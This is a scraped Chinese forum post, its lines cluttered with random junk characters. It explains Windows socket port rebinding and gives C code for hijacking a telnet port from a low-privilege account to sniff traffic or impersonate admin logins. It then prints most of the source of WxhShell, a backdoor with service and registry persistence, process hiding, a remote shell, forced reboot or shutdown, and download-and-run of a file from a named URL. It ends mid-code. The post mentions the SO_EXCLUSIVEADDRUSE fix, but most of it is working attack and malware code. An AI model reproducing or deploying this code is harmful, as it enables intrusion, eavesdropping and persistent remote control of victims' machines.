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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: ZITic&>W  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); C;EC4n+s  
ptlcG9d-  
  saddr.sin_family = AF_INET; [ljC S  
"3r7/>xy  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); NY,ZTl_  
/M3UK  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); ~hk;OB;  
L6ifT`;T  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 +pefk+  
(z:DTe  
  这意味着什么?意味着可以进行如下的攻击: e-`=?tct  
*\M$pUS{  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 yG ,oSp|  
keMfK ]9  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)  !=f$ [1  
a(a 2xa  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 6M/*]jLq4  
Ne=o+ $.(  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  8do7`mN  
!VXs yH3r5  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 9eh9@~mU"l  
))<1"7D^^  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 [JzOsi~R  
dZ"B6L!^(  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 j/Dc';,d.(  
]5_6m;g  
  #include Ug1[pONk  
  #include 8e:\T.)M  
  #include W bP wO  
  #include    #zL0P>P'a  
  DWORD WINAPI ClientThread(LPVOID lpParam);   ifYC&5}SI  
  int main() rRK^vfoJ`  
  { 4P(ysTuM  
  WORD wVersionRequested; +kXj+2  
  DWORD ret; KVC$o+<'`%  
  WSADATA wsaData; DClV&\i=o  
  BOOL val; M.(shIu!+  
  SOCKADDR_IN saddr; #dKHU@+U"  
  SOCKADDR_IN scaddr; U&\2\z3{  
  int err; 3!OO_  
  SOCKET s; i]L4kh5  
  SOCKET sc; -eA3o2'  
  int caddsize; * I{)8  
  HANDLE mt; ^UJ#YRzi  
  DWORD tid;   <jnra4>  
  wVersionRequested = MAKEWORD( 2, 2 ); Y unY'xY  
  err = WSAStartup( wVersionRequested, &wsaData ); +~H mP Q  
  if ( err != 0 ) { HJh9 <I  
  printf("error!WSAStartup failed!\n"); DOzJ-uww1  
  return -1; SjZ?keKZ  
  } jxt^d  
  saddr.sin_family = AF_INET; (ru9Ke%Dx  
   _&~y{;)S  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 -nvK*rn>}  
+"!=E erKi  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); JuD$CHg;#  
  saddr.sin_port = htons(23); ` s}v6  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) pR VL}^Rk  
  { yzml4/X  
  printf("error!socket failed!\n"); QvF UFawN  
  return -1; 5nhc|E)C  
  } q%/ciPgE  
  val = TRUE; )%}?p2.  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 S(5aJ[7Zm  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) NyJ=^=F#  
  { #CM^f^*  
  printf("error!setsockopt failed!\n"); sT^^#$ub  
  return -1; -i}@o1o\  
  } 0k];%HV|  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; HKr6h?Si^  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 9%VNzPzf  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 'yWv @)  
n,Z B-"dW  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) (S@H'G"  
  { m;v/(d>  
  ret=GetLastError(); pFu3FUO*;  
  printf("error!bind failed!\n"); kdWk{ZT^  
  return -1; vk:m >?(  
  } ^PCshb##  
  listen(s,2); ={a8=E!;  
  while(1) fRTQ5V  
  { TV>UD q  
  caddsize = sizeof(scaddr); \mt0mv;c  
  //接受连接请求 4YVxRZ1[3  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); ,UdTUw~F  
  if(sc!=INVALID_SOCKET) jocu=Se@  
  { ((U-JeFW   
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); .<|7BHL  
  if(mt==NULL) 0!n6tz lT  
  { o <lS90J  
  printf("Thread Creat Failed!\n"); p& > z=Z*  
  break; FS%Xq-c  
  } Xm7Nr#  
  } 3 *o l  
  CloseHandle(mt); a9ab>2G?FR  
  } !9l c6W  
  closesocket(s); Os?`!1-  
  WSACleanup(); 1RtbQ{2F;  
  return 0; _RFTm.9&  
  }   io]e]m%  
  DWORD WINAPI ClientThread(LPVOID lpParam) pI>i1f=W  
  { npH2&6Yhi^  
  SOCKET ss = (SOCKET)lpParam; _u^ S[  
  SOCKET sc; Cwxy ~.mI  
  unsigned char buf[4096]; a X>bC-  
  SOCKADDR_IN saddr; ZJ} V>Bu-  
  long num; hsVf/%  
  DWORD val; `e t0i.  
  DWORD ret; t)n!];  
  //如果是隐藏端口应用的话,可以在此处加一些判断 j*m7&wOE  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   aClXg-  
  saddr.sin_family = AF_INET; [s-Km/  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); !"2nL%PW~  
  saddr.sin_port = htons(23); ?|8H|LBIr  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) zV\\T(R)  
  { V:rq}F}  
  printf("error!socket failed!\n"); \gRX:i#n  
  return -1; cn$E?&-  
  } wRL=9/5(8  
  val = 100; uI7 d?s  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Gb6t`dSzz  
  { 2T &<jt  
  ret = GetLastError(); oagxTFh8~  
  return -1; K.?~@5%  
  } 'dYjbQ}~;  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) CwQgA%) !i  
  { d/G`w{H}y  
  ret = GetLastError(); P SDzs\s  
  return -1; Ycypd\q/  
  } *ktM<N58  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) wSHE~Xx  
  { . KJ EA #  
  printf("error!socket connect failed!\n"); $d M: 5y  
  closesocket(sc); 'f9 fw^  
  closesocket(ss); V3fd]rIP  
  return -1; Q}~of}h/  
  } 0x!XE|7I  
  while(1) MhN)ZhsC  
  { 76a+|TzR  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 +!IIt {u  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 D;.O#bS  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 |e@9YDZ  
  num = recv(ss,buf,4096,0); kVk^?F  
  if(num>0) 1\:puC\)  
  send(sc,buf,num,0); R9Wh/@J]  
  else if(num==0) L DD^X@q  
  break; %pmowo~{  
  num = recv(sc,buf,4096,0); a<l(zJptG  
  if(num>0) YRF%].A%2  
  send(ss,buf,num,0); [@Y<:6  
  else if(num==0) "/Fp_g6#:  
  break; ab8uY.j  
  } } 5i0R  
  closesocket(ss); :IDD(<^9  
  closesocket(sc); %1fH-:c=C0  
  return 0 ; (KR$PLxDK  
  } $lmbeW[0  
[{e[3b*M|  
2%"2~d7  
========================================================== ;:Q 5?zM  
+L1%mVq]y  
下边附上一个代码,,WXhSHELL I#QBJ#  
hW[/{2<@  
========================================================== i8pM,Ppi~  
O1IR+"0  
#include "stdafx.h" =M^4T?{T  
BuMBnbT  
#include <stdio.h> tbD>A6&VM}  
#include <string.h> /gh=+;{  
#include <windows.h> &gxRw l  
#include <winsock2.h> h')@NnFP 1  
#include <winsvc.h> S(Md  
#include <urlmon.h> < U`lh  
M7{w7}B0@  
#pragma comment (lib, "Ws2_32.lib") 8X`iMFa.P  
#pragma comment (lib, "urlmon.lib") :RR<-N5+  
p%~#~5t,  
#define MAX_USER   100 // 最大客户端连接数 8#NtZ  
#define BUF_SOCK   200 // sock buffer YKq,`7"%  
#define KEY_BUFF   255 // 输入 buffer r=6-kC!T9  
)p'ZSXb  
#define REBOOT     0   // 重启 TB 9{e!4  
#define SHUTDOWN   1   // 关机 ,-^Grmr4M  
O_aZ\28};C  
#define DEF_PORT   5000 // 监听端口 kx8\]'  
}yZ9pTB.?E  
#define REG_LEN     16   // 注册表键长度 YG ,  
#define SVC_LEN     80   // NT服务名长度 3 RG*:9  
:5hKE(3Q  
// 从dll定义API '&,$"QXwE  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); e eb`Ao  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); rtf\{u9 }g  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); X[b=25Ct  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 1 zIFQ@  
VAf"B5 R  
// wxhshell配置信息 ?}"$[6.  
struct WSCFG { YL \d2  
  int ws_port;         // 监听端口 W]MKc&R  
  char ws_passstr[REG_LEN]; // 口令  f.acH]p  
  int ws_autoins;       // 安装标记, 1=yes 0=no braHWC'VYg  
  char ws_regname[REG_LEN]; // 注册表键名 aOHf#!/"sb  
  char ws_svcname[REG_LEN]; // 服务名 d:*,HzG  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ^lhV\YxJ  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 4eTfb  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 s>(OK.o  
int ws_downexe;       // 下载执行标记, 1=yes 0=no }eh<F^  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 7K3S\oPej  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 -b+VzVJZ  
Cm g(# $ X  
}; Q!8AFLff4  
\}Fx''  
// default Wxhshell configuration U 2am1}  
struct WSCFG wscfg={DEF_PORT, @qk$ 6X  
    "xuhuanlingzhe", <?'d \B  
    1, O?e38(  
    "Wxhshell", % LeG.~?  
    "Wxhshell", $,$bZV  
            "WxhShell Service", K|nh`r   
    "Wrsky Windows CmdShell Service", = TKu2  
    "Please Input Your Password: ", yq+'O&+   
  1, h`n,:Y^++P  
  "http://www.wrsky.com/wxhshell.exe", >+y[HTf-  
  "Wxhshell.exe" rZ`ob x\S  
    }; 9r.Os  
N"SFVc_2  
// 消息定义模块 |}N -5U  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Zg1=g_xY  
char *msg_ws_prompt="\n\r? for help\n\r#>"; qYFOHu  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 0dxEV]  
char *msg_ws_ext="\n\rExit."; dPplZ,Y%  
char *msg_ws_end="\n\rQuit."; |?k3I/;  
char *msg_ws_boot="\n\rReboot..."; rOd<nP^`\  
char *msg_ws_poff="\n\rShutdown..."; ^=:e9i3u  
char *msg_ws_down="\n\rSave to "; _u TaN  
-t~l!! N(  
char *msg_ws_err="\n\rErr!"; ApHs`0=(  
char *msg_ws_ok="\n\rOK!"; [4 L[.N@  
#DK@&Gv  
char ExeFile[MAX_PATH]; ^\=<geEj  
int nUser = 0; :YaEMQJ^  
HANDLE handles[MAX_USER]; 3V ~871:-~  
int OsIsNt; wdg,dk9e$  
Ji4xor  
SERVICE_STATUS       serviceStatus; .l?sYe64S  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; {3n|=  
"D#+:ix8G|  
// 函数声明 87WIDr  
int Install(void); K ZoIjK]  
int Uninstall(void); &?N1-?BjM  
int DownloadFile(char *sURL, SOCKET wsh); y#F`yXUj  
int Boot(int flag); 3cfJ(%'X  
void HideProc(void); _8x:%$   
int GetOsVer(void); (;DnL|"'8  
int Wxhshell(SOCKET wsl); M)4-eo  
void TalkWithClient(void *cs); D5lzrpg_e  
int CmdShell(SOCKET sock);  v?Dc3  
int StartFromService(void); $yxwB/O(  
int StartWxhshell(LPSTR lpCmdLine); x(oL\I_Z  
/+^7lQo\]  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Ze+p;v  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); u5D@,wSNz  
8@;|x2=y  
// 数据结构和表定义 k1Z"Qmz  
SERVICE_TABLE_ENTRY DispatchTable[] = #dy z  
{ 4 mj\wBp  
{wscfg.ws_svcname, NTServiceMain}, Bgb~Tz'  
{NULL, NULL} KnL-qc  
}; e4:,W+g,9  
ay~c@RXW  
// 自我安装 {"{kWbXZ  
int Install(void) matW>D;J  
{ h-r\ 1{Q1]  
  char svExeFile[MAX_PATH]; r{NCI  
  HKEY key; "^M/iv(  
  strcpy(svExeFile,ExeFile); $sF'Sr{)y  
\dvzL(,  
// 如果是win9x系统,修改注册表设为自启动 BK>3rjXi>a  
if(!OsIsNt) { {jz?LM  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { D{'>G@nLQ  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Cj{+DXT  
  RegCloseKey(key); k;EG28   
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { |,YyuCQcL[  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); z!`aJE/  
  RegCloseKey(key); %[3?vX  
  return 0; )?_x$GKY  
    } *xHj*  
  } T}fH  
} '7BJ.  
else { +]?/c>M  
_#f+@)vR  
// 如果是NT以上系统,安装为系统服务 &Bn> YFu  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); NT(gXEZ  
if (schSCManager!=0) ^7b[s pqE  
{ Cn\5Vyrl  
  SC_HANDLE schService = CreateService D1xIRyc/  
  ( ~vL7$-:  
  schSCManager, k&JB,d-mJ%  
  wscfg.ws_svcname, pTzwyj!SD  
  wscfg.ws_svcdisp, vI84= n  
  SERVICE_ALL_ACCESS, A=N &(k  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , +-%&,>R  
  SERVICE_AUTO_START, <H; z4  
  SERVICE_ERROR_NORMAL, RC[mpR ;2  
  svExeFile, /Kw}R5l  
  NULL, ZnrsJ1f:  
  NULL, 2Ra}&ie  
  NULL, HACY  
  NULL, *8I+D>x  
  NULL ~ShoU m[  
  ); ;FQ<4PR$  
  if (schService!=0) <^+x}KV I  
  { W't?aj I|  
  CloseServiceHandle(schService); CIt%7 \c  
  CloseServiceHandle(schSCManager); # 1,"^k^  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); $Gy&  
  strcat(svExeFile,wscfg.ws_svcname);  }q$6^y  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { \]:}lVtxS  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); " Y1]6 Zu  
  RegCloseKey(key); B,x ohT  
  return 0; yG v7^d  
    } v47S9Vm+  
  } UnE[FYx  
  CloseServiceHandle(schSCManager); `d,v  
} qj.>4d  
} c4Leh"ry  
w=;Jj7}L  
return 1; w'r?)WW$  
} `GpOS_;  
xs}3=&c(  
// 自我卸载 vvi[+$M  
int Uninstall(void) )%zOq:{\5  
{  /N8>>g  
  HKEY key; &^7^7:Y=?  
f{HjM? Mb3  
if(!OsIsNt) { @CB&*VoB  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { $bCN;yE  
  RegDeleteValue(key,wscfg.ws_regname); Gi+ZI{)  
  RegCloseKey(key); Iq?#kV9)  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { m~f J_  
  RegDeleteValue(key,wscfg.ws_regname); ZzO^IZKlC  
  RegCloseKey(key); !H^e$BA  
  return 0; E9bc pup  
  } @ L=dcO{r  
} 3UNmUDl[~  
} \UEO$~Km  
else { q}+Fm?B   
2mt S\bAF  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); bd;?oYV~  
if (schSCManager!=0) + t JEG:  
{ 1w$X;q"  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); %+bw2;a6  
  if (schService!=0) 8q/3}AnI  
  { W1\F-:4L@  
  if(DeleteService(schService)!=0) { +?%L X4Y  
  CloseServiceHandle(schService); z#u<]] 5  
  CloseServiceHandle(schSCManager); LcW:vV|'K  
  return 0; Oh'C [  
  } >"|"Gy (  
  CloseServiceHandle(schService); y{#9&ct&  
  } 8`Iz%rw&(J  
  CloseServiceHandle(schSCManager); YcdT/  
} }1BpIqee  
} ]m=2 $mK  
q_b,3Tp  
return 1; k.6gX<T  
} B(ZK\]  
v2KK%Qy  
// 从指定url下载文件 lBZhg~{  
int DownloadFile(char *sURL, SOCKET wsh) %4I13|<A`  
{ f2]O5rX p  
  HRESULT hr; pRc<U^Z.h  
char seps[]= "/"; [eLU}4v{  
char *token;  )k6O  
char *file; caD|*.b  
char myURL[MAX_PATH]; O <#H5/Tq  
char myFILE[MAX_PATH]; S7kZpD $  
)Q5ja}-{V  
strcpy(myURL,sURL); AD@-H0Y  
  token=strtok(myURL,seps); h 7  c  
  while(token!=NULL) Bxf]Lu,\U@  
  { PlC8&$   
    file=token; 3aERfIJyE  
  token=strtok(NULL,seps); lr~c w#h*  
  } vcz?;lg  
t +h}hL  
GetCurrentDirectory(MAX_PATH,myFILE); >pj)va[Q  
strcat(myFILE, "\\"); " LkI'>3}  
strcat(myFILE, file); b3^d!#KVM  
  send(wsh,myFILE,strlen(myFILE),0); MzpDvnI9  
send(wsh,"...",3,0); R7NE= X4  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Tq,xW  
  if(hr==S_OK) CU_8 `}  
return 0; bVW2Tjc:  
else b6ui&Y8z  
return 1; 9 =zZ,dg  
y%@C-:  
} 35 3*D%8  
%=<Kb\  
// 系统电源模块 |0s)aV|K  
int Boot(int flag) +H6cZ,  
{ x2.YEuSMC  
  HANDLE hToken; Ns5'K^  
  TOKEN_PRIVILEGES tkp; bTJ l  
2e*"<>aeq  
  if(OsIsNt) { ~ "stI   
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ~F^7L5d}C  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); &p83X  
    tkp.PrivilegeCount = 1; 9Pjw< xt  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 6< @F  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); |>!tqgq  
if(flag==REBOOT) { H?$gHZPI  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) U "kD)\  
  return 0; (\*+HZ`(Uu  
} gf^XqTLs  
else { a~Nh6 x  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) &KP JB"0L  
  return 0; xQ~N1Y2W  
} LY1dEZ-)A  
  } 2Wp)CI<\D  
  else { Jx3fS2  
if(flag==REBOOT) { xG~7kj3  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ^Y?Y5`! Q  
  return 0; N5jJ,iz  
} tVqc!][   
else { m$WN"kV`,9  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) U?&&yynK  
  return 0; U2HAIV8  
} ,l7',@6Y  
} f,0,:)  
i[ 40p!~  
return 1; *G(ZRj@ 33  
} ~%d*#Yxq  
EB2 5N~7  
// win9x进程隐藏模块 !bQqzny$R  
void HideProc(void) " 'TEBkj|u  
{ rUWC=?Q  
^<w3i?KPW  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); {1m.d;(1  
  if ( hKernel != NULL ) >NjgLJh  
  { 3w$Ib}7   
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 5KRI}f  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); H`EsFKw\%  
    FreeLibrary(hKernel); hYY-Eq4TC  
  } U8GvUysB!  
!7y:|k,ac  
return; Y7WU4He L  
} \z[L=  
At)\$GJ  
// 获取操作系统版本 m(p0)X),_i  
int GetOsVer(void) :!<U"AC  
{ _ m<@ou7  
  OSVERSIONINFO winfo; q^^&nz<A  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); `VD7VX,rp*  
  GetVersionEx(&winfo); 8c5%~}kG  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) U~s-'-C /  
  return 1; +?bjP6w_g  
  else z,IUCNgM  
  return 0; H:!pFj  
} 4$MV]ldUI  
0p[-M`D  
// 客户端句柄模块 4)+L(KyB2  
int Wxhshell(SOCKET wsl) .y^T 3?}I  
{ 9KDm<Q-mf  
  SOCKET wsh; ;k5B@z/<S  
  struct sockaddr_in client; %hV]vm  
  DWORD myID; {<L|Z=&k`  
'/ *;g#W=  
  while(nUser<MAX_USER) x}X hL  
{ $E h:m&hq  
  int nSize=sizeof(client);  PpWdZ  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); [28Vf"#]  
  if(wsh==INVALID_SOCKET) return 1; i f!   
],xvhfZ"dn  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 53O}`xX!6  
if(handles[nUser]==0) hhcO ]*  
  closesocket(wsh); [s&0O<Wv  
else k btQ  
  nUser++; )F65sV{  
  } EJaGz\\  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); s]Qo'q2  
Fd1jElt  
  return 0; L]#b =Y  
} <z R CT  
 #[yZP9  
// 关闭 socket =L&dV]'4P  
void CloseIt(SOCKET wsh) 9 gWqs'  
{ k5o{mWI b  
closesocket(wsh); ]/c!;z  
nUser--; t2RL|$>F1  
ExitThread(0); #kRt\Fzq  
} 7O\Qxc\  
CjZIBMGc  
// 客户端请求句柄 6![}Jvu>  
void TalkWithClient(void *cs) QM4O|x[   
{ @nxpcHj  
)POU58$  
  SOCKET wsh=(SOCKET)cs; Uo=_=.GQ  
  char pwd[SVC_LEN]; Tjj-8cg  
  char cmd[KEY_BUFF]; O 2W2&vY  
char chr[1]; rYPj3!#  
int i,j; 0+6=ag%  
@\|Fd)  
  while (nUser < MAX_USER) { Wz)@k2  
{I]>!V0j!  
if(wscfg.ws_passstr) { Gc2:^FVlh  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); -E>LB\[t)  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); jWcfQ  
  //ZeroMemory(pwd,KEY_BUFF); cxc-|Xori  
      i=0; z\c$$+t  
  while(i<SVC_LEN) { VJOB+CKE  
Y20T$5{#  
  // 设置超时 ]qO*(m:}o  
  fd_set FdRead; OSIf>1  
  struct timeval TimeOut; t 4>\ ;  
  FD_ZERO(&FdRead); UKzXz0  
  FD_SET(wsh,&FdRead); R7 ^f|/l  
  TimeOut.tv_sec=8; qX:Y I3:,@  
  TimeOut.tv_usec=0; ]oizBa@?G  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 3B?7h/f  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); P`OZoI$bV  
K?eY<L  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); .'zcD^  
  pwd=chr[0]; `[F[0fY-  
  if(chr[0]==0xd || chr[0]==0xa) { QR {>]I  
  pwd=0; ,| ~Pa  
  break; :YM1p&|fS  
  } "P8( R  
  i++; OTD<3Q q  
    } #y*p7~|@  
5m9;'SF  
  // 如果是非法用户,关闭 socket 3h**y %^  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); KhZ\q|5  
} YWhp4`m  
'Oa(]Br[  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); I;+>@Cn(g<  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); k]~|!`  
37 d-!  
while(1) { + ;_0:+//  
}E#1Z\)  
  ZeroMemory(cmd,KEY_BUFF); g^[BnP)I  
3.w &e0Es  
      // 自动支持客户端 telnet标准   67]!xy  
  j=0; a}V<CBi  
  while(j<KEY_BUFF) { x/uC)xm  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Pv3qN{265  
  cmd[j]=chr[0]; Nbd[xs-lw  
  if(chr[0]==0xa || chr[0]==0xd) { sDP8!  
  cmd[j]=0; } bm ^`QY  
  break; .wf$]oQQ  
  } =&#t ("  
  j++; 5q _n 69b  
    } M+-1/vR *@  
A?"/ >LM  
  // 下载文件 m4,inA:o  
  if(strstr(cmd,"http://")) { l\ HtP7]  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); +%? \#EQJ  
  if(DownloadFile(cmd,wsh)) Y} crE/  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); \ k &ZA  
  else e,Sxu[2  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); l^R1XBP  
  } |6 E !wW  
  else { ^c?$$Tq  
%:yVjb,Yf  
    switch(cmd[0]) { Vu;z|L  
  gfQ1p?  
  // 帮助 X{8g2](z.  
  case '?': { Pa-{bhllu)  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); jO}<W1qy  
    break; `ZGKM>q`  
  } T[%@B"  
  // 安装 E^? 3P'%^  
  case 'i': { L16">,5  
    if(Install()) vQmqYyOc2  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); $Go)Zs-bL?  
    else x,UP7=6  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ?JMy  
    break; Ny G?^  
    } "z4V@gk   
  // 卸载 M?QX'fia  
  case 'r': { wVkRrFJ  
    if(Uninstall()) 2<tU  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Vr hd\  
    else XPT@ LM  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 4nKlW_{,  
    break; (w-@b70E  
    } 1"~$(@oxG  
  // 显示 wxhshell 所在路径 5G l:jRu  
  case 'p': { S^A+Km3VB  
    char svExeFile[MAX_PATH]; .~fov8  
    strcpy(svExeFile,"\n\r"); KN".0WU  
      strcat(svExeFile,ExeFile); 3M5wF6nY[[  
        send(wsh,svExeFile,strlen(svExeFile),0); AtNF&=Op  
    break; GuKiNYI_  
    } X9;51JV  
  // 重启 >\[|c  
  case 'b': { v0KJKrliGO  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); $y,tR.5.)[  
    if(Boot(REBOOT)) mZ~f?{  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 75eZhs[b  
    else { 6rMNp"!  
    closesocket(wsh); Or :P*l  
    ExitThread(0); mq+<2 S  
    } ]MnQ3bWq"j  
    break; =)nJ'}x  
    } .qs5xGg#9  
  // 关机 .q|k459oi  
  case 'd': {  NR98]X  
